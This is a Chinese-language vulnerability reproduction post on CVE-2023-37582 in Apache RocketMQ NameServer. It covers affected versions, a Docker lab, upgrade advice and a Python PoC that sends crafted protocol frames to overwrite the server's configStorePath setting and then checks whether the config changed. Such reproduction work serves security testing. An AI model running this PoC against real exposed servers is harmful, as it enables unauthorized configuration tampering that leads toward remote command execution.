【漏洞复现】Apache RocketMQ 代码注入漏洞(CVE-2023-37582)
产品介绍
Apache RocketMQ是美国阿帕奇(Apache)基金会的一款轻量级的数据处理平台和消息传递引擎。
漏洞概述
Apache RocketMQ 存在代码注入漏洞,该漏洞源于当 NameServer 地址在外网泄露且缺乏权限验证时,NameServer 组件仍然存在远程命令执行漏洞,在 RocketMQ 5.1.0 及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ 的 NameServer、Broker、Controller 等多个组件暴露在外网且缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以 RocketMQ 运行的系统用户身份执行命令。此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
影响版本
RocketMQ < 4.9.7
RocketMQ < 5.1.2
复现环境
docker pull apache/rocketmq:4.9.4 docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
漏洞复现
POC:
1 import random 2 import socket 3 import binascii 4 5 class poc: 6 def __init__(self, url): 7 self.url = url 8 self.result_text = "" 9 self.port = 9876 10 11 def exploit(self, address): 12 try: 13 client_socket = socket.socket() 14 client_socket.settimeout(5) # Set socket timeout to 5 seconds 15 client_socket.connect((address, self.port)) 16 17 header = '{"code":318,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8') 18 body = 'configStorePath=/tmp/test\nproductEnvName=test'+ str(random.randint(1, 10)) 19 20 header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2) 21 header_length_hex = '00000000' + str(hex(header_length))[2:] 22 total_length = int(4 + len(binascii.hexlify(body.encode('utf-8')).decode('utf-8')) / 2 + header_length) 23 total_length_hex = '00000000' + str(hex(total_length))[2:] 24 data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8') + binascii.hexlify(body.encode('utf-8')).decode('utf-8') 25 26 client_socket.send(bytes.fromhex(data)) 27 client_socket.recv(1024) 28 29 client_socket.close() 30 except socket.timeout: 31 return False 32 33 def get_namesrv_config(self, address): 34 try: 35 client_socket = socket.socket() 36 client_socket.settimeout(5) 37 client_socket.connect((address, self.port)) 38 39 header = '{"code":319,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":405}'.encode('utf-8') 40 41 header_length = int(len(binascii.hexlify(header).decode('utf-8')) / 2) 42 header_length_hex = '00000000' + str(hex(header_length))[2:] 43 total_length = int(4 + header_length) 44 total_length_hex = '00000000' + str(hex(total_length))[2:] 45 data = total_length_hex[-8:] + header_length_hex[-8:] + binascii.hexlify(header).decode('utf-8') 46 47 client_socket.send(bytes.fromhex(data)) 48 data_received = client_socket.recv(1024) 49 50 client_socket.close() 51 return data_received 52 except socket.timeout: 53 return False 54 55 def main(self): 56 ip = self.url 57 result1 = self.get_namesrv_config(ip) 58 self.exploit(ip) 59 result2 = self.get_namesrv_config(ip) 60 if result2 != result1: 61 print("漏洞存在") 62 else: 63 print("漏洞不存在") 64 65 if __name__ == '__main__': 66 ip = "127.0.0.1" 67 poc(ip).main()
在github上找到了poc,我对它做了一些修改,源poc --> 点击此处跳转。
增加了判断条件,根据与源文件内容进行比较判断是否注入成功。
运行上述poc后,效果如下:
入库漏扫:
修复方式
升级Apache RocketMQ到5.1.2或者4.9.7安全版本
参考链接
https://github.com/apache/rocketmq/pull/6843
https://lists.apache.org/thread/m614czxtpvlztd7mfgcs2xcsg36rdbnc